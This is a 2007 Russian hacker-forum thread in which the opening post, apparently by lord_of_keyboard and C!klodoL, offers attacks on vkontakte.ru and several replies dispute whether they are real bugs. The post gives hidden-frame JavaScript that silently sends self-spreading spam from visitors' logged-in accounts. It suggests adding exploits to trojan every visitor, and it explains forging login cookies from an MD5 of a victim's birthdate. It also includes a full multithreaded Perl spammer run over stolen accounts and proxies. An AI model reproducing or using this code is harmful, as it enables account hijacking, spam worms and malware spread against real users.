ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > SЕО/Финансовые задачи/Социальные сети > Социальные сети
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Некоторые баги vkontakte.ru
  #1  
Старый 29.07.2007, 16:09
Аватар для lord_of_keyboard
lord_of_keyboard
Guest
Сообщений: n/a
Провел на форуме:

Репутация:
Post Некоторые баги vkontakte.ru

Интро

Привет, котятки! Сегодня мы попробуем заняться паразитизмом на довольно крупном сервисе vkontakte.ru. Сервис страдает от огромного количества всевозможных проблем с безопасностью и просто багов.
Рассмотрим пару самых занятных багов, может быть, напишем флудер/спаммер.

1. Занимательный javascript

В связи с тем, что изначально формы отправки сообщений и комментариев были ничем не защищены, то был получен довольно забавный опыт саморассылающегося спама. Это и по сей день остаётся актуальным, ибо часть скриптов по-прежнему не защищена.

Итак, рассмотрим, к примеру, скрипт отправки личных сообщений. Вообще, изначально пользователи взаимодействуют с ним посредством метода POST, но в самом скрипте метод не проверяется (то ли используется суперглобальный массив $_REQUEST, то ли register_globals=on).
Примечание: метод не имеет значения, просто метод GET несколько упрощает скрипт, о методе POST будет сказано ниже.

Чтобы отправить сообщение достаточно перейти по ссылке: http://vkontakte.ru/mail.php?act=sent&to_id=1&title=&message=Hello.
Сообщение будет отправленно в случае наличия куки. Собстсвенно, в этом и состоит идея - написать скрипт, который будет открывать эту ссылку в скрытом фрейме, рассылая наши сообщения.

Создадим три страницы:
1) index.html
Код HTML:
<frameset ROWS="100%,0%,0%">
<FRAME NAME="mainfrm" SRC="http://www.183.ru/2/">
<FRAME NAME="preved" SRC="preved.html">
<FRAME NAME="timer" SRC="timer.html">
</frameset>
2) preved.html
Код HTML:
<html><head></head><body></body></html>
3) timer.html
Код HTML:
<head>
<script>
function timer() {
var msg = new String();
var msg_to ;
do { msg_to=Math.ceil(Math.random()*1000000); } while (msg_to.value>1100000); // генерируем случайный id получателя
msg=urlencode('Превед!'); // наше сообщение 8)
msg+='%0a'+parent.location; // добавим к сообщению ссылку на сайт, на котором мы расположены
// отправим наше сообщение
parent.preved.document.location="http://vkontakte.ru/mail.php?act=sent&to_id="+msg_to+"&title=&message="+msg;
setTimeout("timer()", 1250); // И поставим сами себя на таймер
}
</script>
</head>
<body>

<script>
timer();
</script>
</body>
Таким образом, скрипт во фрейме timer будет постоянно слать сообщения, используя фрейм preved, а фрейм mainfrm служит для отвода глаз.

Что делать, если скрипт поддерживает только метод POST? В этом случае нужно создать форму для отправки данных скрипту на сервере, и написать скрипт для отправки формы, вызывающий метод submit: document.our_form.submit();

Пример сего чуда в действии можно посмотреть тут: http://l-0-v-e.by.ru
Когда я опробовал это в действии, счётчик на странице насчитал 17400 человек, сходивших по ссылке. Не очень много, но всё же.
Сие милое развлечение было окрещено пользователями "вирусом".
"Какая же от этого практическая польза?" - спросите вы. Понавешайте на страницу илитных зиродей сплоетов, троянящих каждого зашедшего, и польза будет 8)

2. Проблемы с безопасностью

В куке не проверяется e-mail. Единственное условие - переменная remixemail должна быть непустой. Что, собственно, это нам даёт? Рассмотрим пример: посмотрим, скажем, на пользователя http://vkontakte.ru/profile.php?id=196. Замечательный пользователь. Взглянем на дату рождения - 05.01.1984. Захешируем стоку "05011984" алгоритмом md5, получим a99fa18a6d54dfda21c15fa3f5fe2aac. Составим куку вручную:

remixmid=196; remixemail=bill_gates%40microsoft.com; remixpassword=a99fa18a6d54dfda21c15fa3f5fe2aac;

Откроем страницу vkontakte.ru и - оп! - мы пользователь с id=196. Не хватает только адреса почты. Раньше его можно было посмотреть на странице настроек, но теперь это дело прикрыли. Тем не менее, если он нужен, то его можно получить при попытке смены почты - на оба ящика придёт письмо с указанием обоих адресов. Не красиво, ибо жертва его тоже получит, но если пароль подойдёт к мыльнику - можно будет его удалить.

3. Многопоточный флудер

Ну и коль мы нахекали целую гору аккаунтов, отчего б не написать спаммер заметок.
How to use: аккаунты в accs.txt, прокси в proxies.txt. Для отправки каждого сообщения fork-ом создаётся потомок нашего процесса, если он живёт слишком долго - убивается. Под разными системами по-разному, на некоторых после завершения родительского процесса могут оставаться детишки-зомби 8)
Код:
#!/usr/bin/perl

#
# By lord_of_keyboard, 2007.
#

use IO::Socket;
use Digest::MD5 qw (md5_hex);

sub add_child {
	my $proxy=shift;
	my $acc=shift;
	my $pid = fork();
	if ($pid) { # parent
		push(@children, $pid.":".time());
	} elsif ($pid == 0) { # child
		$proxy=~s/[\r\n ]//g; $acc=~s/[\r\n ]//g;
		my ($host, $port) = split(":",$proxy);
		my ($id, $password, $shit) = split(":", $acc);
		my $cookie="remixmid=$id; remixemail=bill_gates%40microsoft.com; remixpass=".md5_hex($password);
		my $post_id=int(rand(400000));		
		my $text = "Я тебя люблю ";

		for $i (1..int(rand(10)+1)){ $text.=")"; }
		$text.="\n http://l-0-v-e.by.ru/";
		$text =~s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
		
		my $get = "GET http://vkontakte.ru/notes.php?act=s&nid=$post_id HTTP/1.0\r\n".
		    "Host: vkontakte.ru\r\n".
		    "Accept: */*\r\n".
		    "Content-Type: application/x-www-form-urlencoded\r\n".
		    "Referer: http://vkontakte.ru/\r\n".
		    "User-Agent: Internet Explorer 6.0\r\n".
		    "Cookie: $cookie\r\n".
		    "Connection: close\r\n\r\n";
    
		my $sock = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
		print $sock $get;
		while ($html = <$sock>){
		    if ($html =~ /name="blog_id"/gi){
		        $html=~m/(\d+)/gi;
		        $blog_id = $1;
		    }
		}
		close $sock;
		sleep(1);

		$request = "blog_id=$blog_id&post_id=$post_id&act=addComment&comment=$text";
		$comment = "POST http://vkontakte.ru/notes.php HTTP/1.1\r\n".
		    "Host: vkontakte.ru\r\n".
		    "Accept: */*\r\n".
		    "Content-Type: application/x-www-form-urlencoded\r\n".
		    "Content-Length: ".length($request)."\r\n".
		    "Referer: http://vkontakte.ru/\r\n".
		    "User-Agent: Internet Explorer 6.0\r\n".
		    "Cookie: $cookie\r\n".
		    "Connection: close\r\n\r\n$request";
		my $sock = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
    
		print $sock $comment;
		while (<$sock>){ print; }
		close $sock;

		exit(0); # bailing out 8)
	} else {
		die "couldn't fork: $!\n";
	}
}

sub next_plz {
	$proxy_offset++; $acc_offset++;
	if ($proxy_offset>$#{@proxies}){ $proxy_offset=0; }
	if ($acc_offset>$#{@accs}){ $acc_offset=0; }
}

print "Hello, master. I am ready to serve you.\n\n";

open(FILE,"<proxies.txt"); @proxies=<FILE>; close FILE;
open(FILE,"<accs.txt");    @accs=<FILE>;    close FILE;

@children=(); $acc_offset=0; $proxy_offset=0;
for my $i (1..10) { add_child(@proxies[$proxy_offset], @accs[$acc_offset]); next_plz; }

while (1){
	print "There are ".(@children)." of us.\n";
	for my $i (0..$#{@children}) {
		my $child=@children[$i];
		my ($pid,$time)=split(":",$child);
		my $status = waitpid($pid, -1);
		if ($status>=0) {
			if (time()-$time>30) {
				kill($pid); # time has come to die, r.i.p.
			} # if
		} else {
		splice(@children,$i,1);
		add_child(@proxies[$proxy_offset], @accs[$acc_offset]); next_plz; 
		}
	} # foreach
sleep(2);
}
Заключение

Всё написанное выше - не более, чем описание некоторого опыта. Может кому-то пригодится, может, возможно использовать где-то ещё.
By C!klodoL & lord_of_keyboard, 2007.
 
Ответить с цитированием

  #2  
Старый 29.07.2007, 17:31
Аватар для Constantine
Constantine
Members of Antichat - Level 5
Регистрация: 24.11.2006
Сообщений: 927
Провел на форуме:
7192869

Репутация: 3033


По умолчанию

А что это за проект такой, что "некоторые" баги на нем тянут аж на целую статью?
__________________

Дети индиго - это бездари, не надо песен! В пять лет едва говорить начинают, мы в этом возрасте стихи наизусть читали!

з.ы http://www.youtube.com/watch?v=sNsQe0KByRY Я ПлакалЪ
 
Ответить с цитированием

  #3  
Старый 29.07.2007, 17:32
Аватар для Feshh
Feshh
Banned
Регистрация: 06.03.2007
Сообщений: 160
Провел на форуме:
2570374

Репутация: 11
Отправить сообщение для Feshh с помощью ICQ
По умолчанию

нугде то была тема что вконтакте спонсирует ФСБ )
 
Ответить с цитированием

  #4  
Старый 29.07.2007, 18:47
Аватар для AN_Known
AN_Known
Новичок
Регистрация: 27.07.2007
Сообщений: 3
Провел на форуме:
885759

Репутация: 2
Отправить сообщение для AN_Known с помощью ICQ
По умолчанию

Цитата:
Сообщение от Feshh  
нугде то была тема что вконтакте спонсирует ФСБ )
 
Ответить с цитированием

  #5  
Старый 29.07.2007, 19:16
Аватар для LolFEm
LolFEm
Участник форума
Регистрация: 08.09.2006
Сообщений: 194
Провел на форуме:
1627025

Репутация: 163
По умолчанию

Цитата:
Сообщение от lord_of_keyboard  

Взглянем на дату рождения - 05.01.1984. Захешируем стоку "05011984" алгоритмом md5, получим a99fa18a6d54dfda21c15fa3f5fe2aac. Составим куку вручную:

remixmid=196; remixemail=bill_gates%40microsoft.com; remixpassword=a99fa18a6d54dfda21c15fa3f5fe2aac;
хм... всегда казалось было что в Мд5 идёт пароль пользователя а не дата рождения.... и в кукисах пароль висит...
 
Ответить с цитированием

  #6  
Старый 29.07.2007, 19:20
Аватар для C!klodoL
C!klodoL
Постоянный
Регистрация: 05.06.2007
Сообщений: 335
Провел на форуме:
4319431

Репутация: 677
По умолчанию

Цитата:
Сообщение от LolFEm  
хм... всегда казалось было что в Мд5 идёт пароль пользователя а не дата рождения.... и в кукисах пароль висит...
смысл в том что многие юзеры используют в качестве пароля дату рождения или другой легко запоминающийся пароль, в кукисах висит мд5 хэш пароля
 
Ответить с цитированием

  #7  
Старый 29.07.2007, 19:44
Аватар для +toxa+
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме:
9751379

Репутация: 3812


Отправить сообщение для +toxa+ с помощью ICQ Отправить сообщение для +toxa+ с помощью AIM
По умолчанию

/me не увидел ни одного бага в статье

1) спамер
2) тупость юзеров
3) флудер
__________________
 
Ответить с цитированием

  #8  
Старый 29.07.2007, 19:50
Аватар для genom--
genom--
Постоянный
Регистрация: 09.07.2006
Сообщений: 937
Провел на форуме:
1948091

Репутация: 1686


По умолчанию

аргументирую - уже пол года вижу различные флудеры и спамеры для этого сервиса - со всеми вытикающими - я уже молчу об остальных багах на нем
 
Ответить с цитированием

  #9  
Старый 29.07.2007, 21:09
Аватар для KSURi
KSURi
Постоянный
Регистрация: 06.06.2006
Сообщений: 515
Провел на форуме:
1985206

Репутация: 963


По умолчанию

Цитата:
Сообщение от genom--  
аргументирую - уже пол года вижу различные флудеры и спамеры для этого сервиса - со всеми вытикающими - я уже молчу об остальных багах на нем
дай ссылку на парочку разных
и баги опиши, можно в пм
 
Ответить с цитированием

  #10  
Старый 29.07.2007, 21:59
Аватар для +toxa+
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме:
9751379

Репутация: 3812


Отправить сообщение для +toxa+ с помощью ICQ Отправить сообщение для +toxa+ с помощью AIM
По умолчанию

Цитата:
Сообщение от lord_of_keyboard  
Не-е-е-ет, то что в куке мыло проверяется кука - это ни разу не баг. И то, что ты не зная мыла можешь залогиниться - это тоже. Ага.
Ну как бы я тут как таковых вообще ни одного "бага" не увидел=\
__________________
 
Ответить с цитированием
Ответ


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Баги, баги... Mobile Уязвимости 6 01.03.2006 21:57
Баги на сайте крупного Интернет-провайдера России... Jenizix Разное - Покупка, продажа, обмен 0 06.02.2006 03:31
Некоторые приемы в Win2K foreva Чужие Статьи 0 06.02.2005 11:41
Дефейс по быстрому. Баги на сервере. Админ не выставил права на папки lexa Комментарии к видео 2 31.01.2005 08:54
Помогите найти некоторые программы... PEPSICOLA Болталка 5 25.12.2004 19:02



TEST QR: []
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ